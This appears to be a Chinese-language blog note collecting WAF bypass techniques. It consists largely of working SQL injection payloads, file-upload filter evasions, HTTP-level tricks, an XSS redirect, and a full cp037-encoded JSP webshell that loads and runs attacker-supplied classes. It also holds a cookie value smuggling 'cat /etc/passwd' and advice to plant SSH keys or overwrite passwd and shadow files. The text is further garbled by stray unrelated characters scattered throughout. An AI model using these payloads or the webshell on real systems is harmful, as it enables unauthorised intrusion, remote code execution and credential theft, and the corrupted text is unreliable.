本文僅作學(xué)習(xí)記錄糙捺,如有侵權(quán)诫咱,請聯(lián)系刪除!:榈啤坎缭!
前言:
冒個泡,證明自己還在签钩,輸出自己關(guān)于waf繞過的積累
SQL注入:
-
空格繞過:
每種類型的數(shù)據(jù)庫都允許使用空白字符掏呼。每個不同的RDBMS允許各種不同的空白字符,而不是通常的0x20铅檩。通過使用其他允許的空格字符切換標(biāo)準(zhǔn)空格憎夷,我們可以使某些防火墻無法識別注入,從而使我們能夠有效地繞過它們
1昧旨、/**/拾给、/*!*/、%09臼予、%0a鸣戴、%0b、%0c粘拾、%0d替代
id=-1'+/*!u%6eion*/+select+1,2,3%23
2窄锅、用注釋符+換行符替代空格,比如:--%0a
3缰雇、用注釋符+垃圾數(shù)據(jù)+換行符入偷,比如:--zxczcasd/*asdasd*/%0a
id=1%27--%0aor--%0aupdatexml(1,concat(0x7e,(select--%0atable_name--%0afrom--%0ainformation_schema.tables--%0awhere--%0atable_schema=database()--%0alimit--%0a0,1),0x7e),1)%23
4、用托號繞過空格:
如果空格被過濾械哟,括號沒有被過濾疏之,可以用括號繞過
在MySQL中,括號是用來包圍子查詢的暇咆。因此锋爪,任何可以計(jì)算出結(jié)果的語句,都可以用括號包圍起來爸业。而括號的兩端其骄,可以沒有多余的空格
select(user())from dual where(1=1)and(2=2)
這種過濾方法常常用于time based盲注:
id=1'and(if(ascii(substr(database(),1,1))>97,sleep(5),1))%23
id=1'and(if(ascii(substr(database()from(1)for(1)))>97,sleep(5),1))%23
id=1'and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
# from a for b:
從第a個字符開始讀取,共讀取b個字符
-
引號繞過:
針對數(shù)字型注入扯旷,使用十六進(jìn)制繞過或者寬字節(jié)繞過:
select column_name from information_schema.tables where table_name=0x7573657273
id=1'+and+extractvalue(0x31,0x636F6E63617428307837652C2873656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F736368656D613D6461746162617365282920616E64207461626C655F6E616D653D27757365727327206C696D697420302C31292C3078376529)%23
id=-1%df%27 union select 1,user(),3--+
id=-1y' union select 1,user(),3--+
id=-1%5c%5c%27 union select 1,user(),3--+ # 后面的 %5c 會被前面的 %5c 注釋掉
一般產(chǎn)生寬字節(jié)注入的PHP函數(shù):
1.replace():過濾 ' \ 拯爽,將 ' 轉(zhuǎn)化為 ' ,將 \ 轉(zhuǎn)為 \钧忽,將 " 轉(zhuǎn)為 " 毯炮。用思路一
2.addslaches():返回在預(yù)定義字符之前添加反斜杠(\)的字符串逼肯。
預(yù)定義字符:( ' , " , \ )用思路一(防御此漏洞,要將 mysql_query 設(shè)置為 binary 的方式)
3.mysql_real_escape_string()
-
逗號繞過:
在使用盲注的時候桃煎,需要使用到substr(),mid(),limit篮幢。這些子句方法都需要使用到逗號。對于substr()和mid()這兩個方法可以使用from to的方式來解決:
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
使用join:
union select 1,2
#等價于
union select * from (select 1)a join (select 2)b
使用like:
select ascii(mid(user(),1,1))=114
#等價于
select user() like 'r%'
對于limit可以使用offset來繞過:
select * from news limit 0,1
# 等價于下面這條SQL語句
select * from news limit 1 offset 0
-
比較符繞過:
使用greatest()为迈、least():(前者返回最大值洲拇,后者返回最小值)
# greatest(n1,n2,n3,...)函數(shù)返回輸入?yún)?shù)(n1,n2,n3,...)的最大值
id=1 and greatest(ascii(substr(database(),0,1)),64)=64
sqlmap中使用between的腳本進(jìn)行繞過
# 包含邊界值
select * from users where id between 1 and 10
-
and or xor not繞過:
and=&& or=|| xor=| not=!
id=1'+%26%26+'1'='1
-
使用 And 0 的另一種方法:
任何等于 0 的數(shù)學(xué)/算術(shù)或邏輯問題:
And 1*0
And 1-1
And 0/1
mod(10,2)=0
power(4,3)=64
-
使用 NULL 的另一種方法:
UNION SELECT 0,0,0,0
UNION SELECT false,false,false,false
UNION SELECT char(null),char(null),char(null),char(null)
UNION SELECT char(false),char(false,char(false),char(false)
UNION SELECT char(0),char(0),char(0),char(0)
UNION SELECT char(0x4e554c4c),char(0x4e554c4c),char(0x4e554c4c),char(0x4e554c4c)
UNION SELECT (0*1337-0),(0*1337-0),(0*1337-0),(0*1337-0)
UNION SELECT 34=35,34=35,34=35,34=35
-
注釋符繞過:
主要是想辦法閉合后面的引號,使sql語句能夠正常執(zhí)行
id=1' union select 1,2,3||'1
id=1' union select 1,2,'3
-
=號繞過:
<曲尸、>、<>繞過
id=!(id <> 1); # 相當(dāng)于id=1
like繞過:
% : 匹配0個或任意多個字符
_ : 匹配任意一個字符
escape : 轉(zhuǎn)義字符男翰,可匹配%和_另患。如SELECT * FROM table_name WHERE column_name LIKE '/%/_%_' ESCAPE'/'
rlike和REGEXP
rlike:模糊匹配,只要字段的值中存在要查找的 部分 就會被選擇出來
regexp:MySQL中使用 REGEXP 操作符來進(jìn)行正則表達(dá)式匹配
. : 匹配任意單個字符
* : 匹配0個或多個前一個得到的字符
[] : 匹配任意一個[]內(nèi)的字符蛾绎,[ab]*可匹配空串昆箕、a、b租冠、或者由任意個a和b組成的字符串鹏倘。
^ : 匹配開頭,如^s匹配以s或者S開頭的字符串顽爹。
$ : 匹配結(jié)尾纤泵,如s$匹配以s結(jié)尾的字符串。
{n} : 匹配前一個字符反復(fù)n次镜粤。
like是完全匹配捏题。rlike和regexp是不完全匹配,只要不同時匹配^和 $肉渴, 其他的包含即可
between公荧、strcmp繞過:
strcmp(str1,str2):若所有的字符串均相同,則返回STRCMP()同规,若根據(jù)當(dāng)前分類次序循狰,第一個參數(shù)小于第二個,則返回 -1券勺,其它情況返回 1
select * from users where id between 1 and 1
id=1' and substr(database(),1,1) between 'a' and 'z'%23
select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)
select strcmp(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)),117);
in 繞過:
id=1'+and+ascii(substr(database(),1,1))+in+('115')%23
-
繞過union绪钥,select,where:
雙寫繞過
大小寫繞過
內(nèi)聯(lián)注釋繞過:
id=0'+/*!union*//*!select*/+1,updatexml(1,concat(0x7e,(select+database())),1),3%23
-
等價函數(shù)繞過:
hex()朱灿、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()昧识、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
舉例:substring()和substr()無法使用時:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
其他繞過技巧及思路:
- MySQL數(shù)據(jù)庫支持兩種集合操作:UNION DISTINCT和UNION ALL,union其實(shí)是相當(dāng)于 union distinct
id=-1’union+distinct+select+sleep(2)#
- 原理是waf把空字節(jié)認(rèn)為是結(jié)束導(dǎo)致了后面的語句可以繞過
id=-1' union select 1,2,3# # 被攔截
id=-1%00' union select 1,2,3# # 不攔截盗扒,同時可以對其進(jìn)行url編碼
Tips:針對有爆出sql語句且過濾了空格的注入跪楞,可以先fuzz一波缀去,看是否能找到一個會被替換為空的字符
更多方法及技巧請參考:
SQL注入 | 9種繞過Web應(yīng)用程序防火墻的方式
補(bǔ)充:
asp+iis的環(huán)境中,當(dāng)我們請求的url中存在單一的百分號%時甸祭,iis+asp會將其忽略掉缕碎,而沒特殊要求的waf當(dāng)然是不會的,比如:
sel%ect
文件上傳繞過:
- boundary=后面加tab鍵
- 刪除Content-type后面的類型信息
- 雙寫繞過
- 正常圖片文件的內(nèi)容開頭
- 利用windows特性:
- 文件名大小寫繞過
- 空格繞過池户,在文件名末尾添加
- 點(diǎn)號繞過咏雌,在文件名末尾添加
- 特殊符號繞過: test.php::$DATA、test.php:.jpg
- 路徑拼接繞過: test.php. .(注意最后一個點(diǎn)前有空格校焦,適用于windows赊抖,且上傳的文件名沒有被修改)
- 00截?cái)嗬@過:php5.3之前會把0x00當(dāng)做結(jié)束符,繞過白名單。首先創(chuàng)建文件test.jpg寨典,里面編輯php代碼氛雪,用burp截?cái)嗌蟼鳎诘谝恍猩蟼髀窂胶筇砑觮est.php%00即可耸成。
注意:get型提交的內(nèi)容會被自動進(jìn)行url解碼报亩,使用00截?cái)嘁P(guān)閉GPC以及在收到的參數(shù)不使用addslashes函數(shù)。post型用burp截?cái)嗪缶猓话阍趐ath后面會顯示上傳路徑弦追,同理添加/test.php (注意php后要加一個空格),然后點(diǎn)擊Hex花竞,找到修改處那一行的hex值劲件,把其中的20改成00即可- 文件名后加/繞過
- boundary等號前后空格繞過:
Content-Type: multipart/form-data; boundary = ----WebKitFormBoundaryALNskmXp1LtKgXqu
boundary等號前后ascii碼09繞過
- cp037編碼繞過:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryALNskmXp1LtKgXqu,charset=cp037
#python2
# 腳本內(nèi)置馬支持后綴jsp/jspx,都可解析
data = '''<?xml version="1.0" encoding="cp037"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:declaration>
class PERFORM extends ClassLoader {
PERFORM(ClassLoader c) { super(c);}
public Class bookkeeping(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] branch(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
</jsp:declaration>
<jsp:scriptlet>
String cls = request.getParameter("xxoo");
if (cls != null) {
new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response});
}
</jsp:scriptlet>
</jsp:root>'''
fcp037 = open('cp037.jsp','wb')![](https://xzfile.aliyuncs.com/media/upload/picture/20220804173607-de2cfbb4-13d8-1.png)
fcp037.write(data.encode('cp037'))
生成出來左胞,burp選擇paste from file
- filename中的文件名用換行分隔繞過(從文件名中間找個位置寇仓,不是文件擴(kuò)展名)
- 黑名單上傳繞過:
- 超長文件名繞過
在判斷存在waf之后,需要考慮waf對什么內(nèi)容進(jìn)行了檢測烤宙,常見的有:
- 文件內(nèi)容
- Content-Type
- 后綴匹配
jsp內(nèi)容繞過的時候遍烦,一般都會對jsp中的%進(jìn)行檢測,可以嘗試修改一下上傳內(nèi)容如下:
filename:jsp
Content-Type:application/octet-stream
內(nèi)容:out.println ("helloworld")
- content-Encoding/Accept-Encoding繞過:
利用原理:
在http協(xié)議中躺枕,可以對內(nèi)容(也就是body部分)進(jìn)行編碼服猪, 可以采用gzip這樣的編碼。從而達(dá)到壓縮的目的拐云。也可以使用其他的編碼把內(nèi)容攪亂或加密罢猪,以此來防止未授權(quán)的第三方看到文檔的內(nèi)容。
利用方法:
添加 Accept-Encoding: deflate/Accept-Encoding: gzip
添加 Content-Encoding: deflate/Accept-Encoding: gzip
- Accept-Encoding:瀏覽器發(fā)給服務(wù)器,聲明瀏覽器(客戶端)支持的編碼類型叉瘩。設(shè)置在請求頭當(dāng)中膳帕,會告訴服務(wù)器,我可以接受哪種編碼壓縮。
- Content-Encoding:決定文件接收方將以什么形式危彩、什么編碼讀取這個文件攒磨,指定服務(wù)器響應(yīng)的 HTTP 內(nèi)容類型。設(shè)置在響應(yīng)頭中汤徽,會告訴客戶端娩缰,我用的是哪種編碼壓縮。但是也可以放在Header頭上
當(dāng)服務(wù)端接收到請求谒府,并且從header里拿到編碼標(biāo)識時拼坎,就可以選擇其中一種方式來進(jìn)行編碼壓縮,然后返給客戶端完疫。
- 換行+chunk 繞過:
通用繞過手段:
-
直接通過真實(shí)ip訪問:
這是一種對待云waf最有效的辦法泰鸡,只要找到做cdn的之前的真實(shí)ip,那么直接通過ip訪問壳鹤,則會使云waf完全失效鸟顺,web應(yīng)用服務(wù)器失去云保護(hù)。
有時候通過ip去訪問一些網(wǎng)站會提示web頁面找不到器虾,可能是有些網(wǎng)站在路由上直接使用的域名為硬路由,這時候需要修改host 解析文件蹦锋,把相關(guān)域名和真實(shí)ip 給對應(yīng)上填上兆沙,再用域名去訪問。
# linux host文件路徑
/etc/hosts
# windows host文件路徑
C:\WINDOWS\system32\drivers\etc\hosts
-
切換協(xié)議:
通過切換http到https莉掂,或者h(yuǎn)ttps切換到http葛圃,如果web站點(diǎn)沒有進(jìn)行強(qiáng)制https訪問,那么http也能訪問到其站點(diǎn)憎妙,如果waf錯誤配置库正,也能起到一點(diǎn)效果(方法比較特殊),還可以通過增加www厘唾,或者刪除www前墜有時也管用褥符。
-
通過IPv6 訪問:
有許多入侵檢測系統(tǒng)也只監(jiān)控 IPv4 流量,沒有對IPv6 進(jìn)行監(jiān)控抚垃。
訪問格式:http://[ipv6地址]:80/index.html
ipv6為:2001:470:c:1818::2
訪問地址:http://[2001:470:c:1818::2]:80/index.html
-
對http包頭進(jìn)行修改:
比如添加以下標(biāo)頭:
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
x-client-ip
在一些做了訪客流量負(fù)載的web架構(gòu)很常見喷楣,他并不是把web服務(wù)器映射出去,而是把外面的訪問流量通過一臺流量轉(zhuǎn)發(fā)機(jī)器轉(zhuǎn)發(fā)到內(nèi)網(wǎng)web應(yīng)用服務(wù)器鹤树,這種形式的話铣焊,在轉(zhuǎn)發(fā)進(jìn)來的數(shù)據(jù)包中就會出現(xiàn)X-forwarded-for 等字段,標(biāo)示著是哪個ip訪問的web服務(wù)罕伯。
如果包存在:Content-Type: text/html
曲伊,那么可以嘗試做以下修改:
Content-Type: #直接刪除類型值
Content-Type: text/htmlzzzzzzzzz #錯誤的類型值
Content-Type: application/octet-stream #其他類型值
有時候?qū)?MIME 類型設(shè)置為 multipart/form 數(shù)據(jù)然后對請求進(jìn)行錯誤處理也有奇效。
Content-Type: multipart/form-data ; boundary=0000
Content-Type: mUltiPart/ForM-dATa; boundary=0000
Content-Type: multipart/form-datax; boundary=0000
Content-Type: multipart/form-data, boundary=0000
Content-Type: multipart/form-data boundary=0000
Content-Type: multipart/whatever; boundary=0000
Content-Type: multipart/; boundary=0000
嘗試修改HTTP請求方法把get 改成post 追他,post改成get坟募,或者改成put岛蚤,有時候錯誤方法也能成功訪問,請求可以通過GETS
而不是GET
發(fā)送婿屹,并且在許多情況下仍會按預(yù)期運(yùn)行灭美。
特別是在 PHP 中,根據(jù)配置昂利,cookie 值可以被視為參數(shù)
/cmd/a.php
cookie: cmd1=;cat /etc/passwd
還有的是就是把http協(xié)議 1.1 改成1.0 届腐,因?yàn)榇蟛糠址?wù)器也支持1.0版本。
-
通過硬編碼值造成繞過:
PHP 中的+
符號可用于實(shí)現(xiàn)此目的蜂奸,而 ASP 中的%
符號將實(shí)現(xiàn)類似的結(jié)果犁苏。
在 ASP 中,可以將無效的 URL 編碼添加到參數(shù)名稱中(請注意扩所,編碼必須無效才能正常工作)
/cmd/a.php?%value=payload
/cmd/a.php?%}9value=payload
在 PHP 中围详,加號可以達(dá)到同樣的效果:
/cmd/a.php?+value=payload
-
分塊傳輸繞過:
注意:只有HTTP/1.1支持分塊傳輸
-
協(xié)議未覆蓋繞過:
針對POST請求,POST請求常用有2種參數(shù)提交方式:
Content-Type: application/x-www-form-urlencoded;
Content-Type: multipart/form-data;
Content-Type: text/xml
Content-Type: application/json
Content-Type: text/plain
其中multipart/form-data表示數(shù)據(jù)被編碼為一條消息祖屏,頁上的每個控件對應(yīng)消息中的一個部分
市場上大部分的WAF會解析這行 Content-Type 去識別是否是POST注入助赞,因?yàn)橐乐狗椒ㄎ廴尽K晕覀兙涂梢愿鶕?jù)這個特性來設(shè)置不同的Content-Type利用嘗試?yán)@過WAF
繞過原理:
若Waf未能覆蓋Content-Type: multipart/form-data從而導(dǎo)致被繞過袁勺”⑹常或者WAF會認(rèn)為它是文件上傳請求,從而只檢測文件上傳期丰,導(dǎo)致被繞過
利用谷歌插件Request Maker進(jìn)行測試:
原始請求:
修改Content-Type后群叶,進(jìn)行抓包:
如果發(fā)現(xiàn)可以成功繞過waf,直接將數(shù)據(jù)包丟進(jìn)sqlmap跑即可:
爭對Get請求同理钝荡,將Content-Type改成:application/x-www-form-urlencoded或者multipart/form-data
-
HPP參數(shù)污染/垃圾字符繞過:
在php中街立,如果遇到多個參數(shù),那么是從右到左來取參數(shù)值:
當(dāng)查詢字符串多次出現(xiàn)同一個key時埠通,假設(shè)提交的參數(shù)即為:id=1&id=2&id=3赎离,根據(jù)容器不同會得到不同的結(jié)果:
Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
php + apache:id=3
-
垃圾數(shù)據(jù)繞過:
在數(shù)據(jù)包鐘填入一些不影響結(jié)果的數(shù)據(jù),比如遇到php站端辱,可以配合HPP參數(shù)污染來填入辣雞數(shù)據(jù)
-
通過變換路徑來bypass:
一些waf 或者web應(yīng)用通過web路由進(jìn)行封禁蟹瘾,體現(xiàn)為訪問某個特定的url路徑為403 等狀態(tài)。
- url編碼繞過:
id=0' union select 1,updatexml(1,concat(0x7e,(select+database())),1),3#
# 將其進(jìn)行url編碼掠手,等價于
id=%30%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%75%70%64%61%74%65%78%6d%6c%28%31%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%28%73%65%6c%65%63%74%2b%64%61%74%61%62%61%73%65%28%29%29%29%2c%31%29%2c%33%23
- 雙重url編碼:
對字符應(yīng)用URL編碼兩次的過程憾朴。所需要的只是重新編碼百分號。如果數(shù)據(jù)在通過防火墻之后和到達(dá)數(shù)據(jù)庫之前被解碼兩次喷鸽,則此編碼成功
- ascll編碼繞過:
id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) limit 0,1),0x7e))#
- unicode編碼繞過:
iis支持unicode的解析众雷,當(dāng)我們請求的url存在unicode字符串的話iis會自動將其轉(zhuǎn)換,但waf不一定,比如:
s%u0065lect->select
UTF-8 編碼表:https://www.utf8-chartable.de/
Unicode編碼種類繁多砾省,基于黑名單的過濾器存在無法處理的情況鸡岗,從而實(shí)現(xiàn)繞過
# 常用的幾個符號的一些Unicode編碼:
單引號:%u0027、%u02b9编兄、%u02bc轩性、%u02c8、%u2032狠鸳、%uff07揣苏、?'、?件舵、?(%c0%27卸察、%c0%a7%27、%e0%80%a7%27)
空格:%u0020铅祸、%uff00坑质、? 、?临梗、?(%c0%20涡扼、%c0%a0、%e0%80%a0)
左括號:%u0028盟庞、%uff08壳澳、?(、?茫经、?(%c0%28、%c0%a8萎津、%e0%80%a8)
右括號:%u0029卸伞、%uff09、?)锉屈、?荤傲、?(%c0%29、%c0%a9颈渊、%e0%80%a9)
id=1%u0027%u002b%u0061%u006e%u0064%u002b%u0031%u003d%u0031%u0023 #UTF-8
SELECT '?'='A';
id=10%D6‘%20AND%2201=2%23
畸形協(xié)議&請求:
asp/asp.net在解析請求的時候遂黍,允許application/x-www-form-urlencoded的數(shù)據(jù)提交方式,不管是GET還是POST俊嗽,都可正常接收雾家,過濾GET請求時如果沒有對application/x-www-form-urlencoded提交數(shù)據(jù)方式進(jìn)行過濾,就會導(dǎo)致任意注入绍豁。
php+Apache:
waf通常會對請求進(jìn)行嚴(yán)格的協(xié)議判斷,比如GET、POST等无拗,但是apache解析協(xié)議時卻沒有那么嚴(yán)格带到,當(dāng)我們將協(xié)議隨便定義時也是可以的:
- 補(bǔ)充:
觀察接口信息,發(fā)現(xiàn)接口名字為UploadImg英染,猜測該接口用于圖片上傳揽惹,按照開發(fā)的習(xí)慣,保不準(zhǔn)會存在temp、test箭养,這類的接口
有些時候文件上傳成功后端沒有返回路徑慕嚷,只回顯了一個id號,這時候如果目標(biāo)存在注入的話,我們可嘗試用sqlmap的--search參數(shù)或者SQLshell對返回的ID號進(jìn)行搜索挠说,這樣說不定就能找到shell地址了
在某些時候,當(dāng)前上傳文件夾無執(zhí)行權(quán)限愿题,可以考慮通過../跨目錄上傳文件损俭。另外,如果上傳目錄可控潘酗,可上傳文件到任意目錄的話杆兵,在linux場景我們可上傳一個ssh秘鑰用于遠(yuǎn)程登錄,極端一點(diǎn)的話仔夺,可考慮上傳passwd琐脏、shadow文件覆蓋系統(tǒng)用戶,但前提是權(quán)限要足夠大缸兔。
如果不能跨目錄日裙,站點(diǎn)又沒有注入的話,那么我們可以嘗試尋找網(wǎng)站日志文件惰蜜,例如泛微E-COLOGY日志的日志昂拂,像這種日志文件是有規(guī)律可循的,可以用burp進(jìn)行日志爆破抛猖,或許在日志文件中能找到shell路徑也說不定政钟,如果在日志中沒有發(fā)現(xiàn)shell地址路克,那么可進(jìn)一步觀察日志里的文件路徑,諸如upload养交,filepath這類路徑精算,舉一反三,可對這些路徑fuzz shell地址碎连。
- 一個白名單繞過案例:
看到這種情況估計(jì)不少師傅都會認(rèn)為后端做了白名單限制上傳了吧
錯誤回顯提示了只能上傳ppt/pptx/doc/docx/xls/xlsx/rar/jpg/png類型灰羽,但在后續(xù)的測試中,發(fā)現(xiàn)了types類型可控鱼辙,且在存在多個后綴的情況下廉嚼,后端只保留最后一個后綴,并重命名文件倒戏,所以只要上傳后綴包含了白名單限制內(nèi)的類型即可繞過怠噪,如(test.png.jsp),只會保留.jsp后綴杜跷,如下:
- 上傳繞過案例二:
一個把圖片轉(zhuǎn)base64的文件上傳類型:
通過抓包發(fā)現(xiàn)圖片是以base64進(jìn)行上傳的傍念,觀察了下數(shù)據(jù)包,發(fā)現(xiàn)可通過更改upload_0字段內(nèi)容上傳任意文件
- 上傳繞過案例三:
測試發(fā)現(xiàn)fileName和fileType參數(shù)可控葛闷,且當(dāng)存在兩個不同的后綴時憋槐,最上層的filename參數(shù)優(yōu)先級為最高,可導(dǎo)致任意文件上傳
- 上傳繞過案例四:
- 嘗試雙寫繞過:
發(fā)現(xiàn)只判斷第一行的文件后綴淑趾,對第二行不做檢測
- 嘗試去掉filename的雙引號及大小寫繞過:
- 嘗試HPP繞過:
- 換行繞過:
目前已知:
換行雙寫閉合不檢測
同一行filename可雙寫
換行雙寫filename無閉合會檢測
不閉合單filename可寫入
成功繞過:
當(dāng)filename無閉合的時候阳仔,它會判斷下面一行是否為不允許上傳的類型,如果不是扣泊,第一行filename內(nèi)容就會上傳過去
補(bǔ)充:
當(dāng)waf對一些彈窗方法進(jìn)行過濾時近范,獲取對單雙引號進(jìn)行過濾時,可以使用location.href配合String.fromCharCode使其變?yōu)閁RL重定向漏洞:
<img/src=1 onmousemove=location.href=String.fromCharCode(104,116,116,112,115,58,47,47,119,119,119,46,98,97,105,100,117,46,99,111,109)
參考如下:
SQL注入繞過技巧
sql注入繞過方法總結(jié)
SQL注入的優(yōu)化和繞過
某系統(tǒng)Oracle+盲注Bypass
文件上傳之某開waf-bypass(2)
紅隊(duì)攻擊-繞過waf以及IDS等流量設(shè)備
我的wafBypass之道 - 云+社區(qū) - 騰訊云
技術(shù)討論 | 在HTTP協(xié)議層面繞過WAF
實(shí)戰(zhàn)繞過雙重waf結(jié)合sqlmap tamper獲取數(shù)據(jù)
通過 SQL 函數(shù)繞過 SQL 注入 WAF 的案例研究
web滲透測試中WAF繞過講解(二)基于HTTP協(xié)議繞過
任意文件上傳之繞過云waf+本地防火墻雙重防護(hù)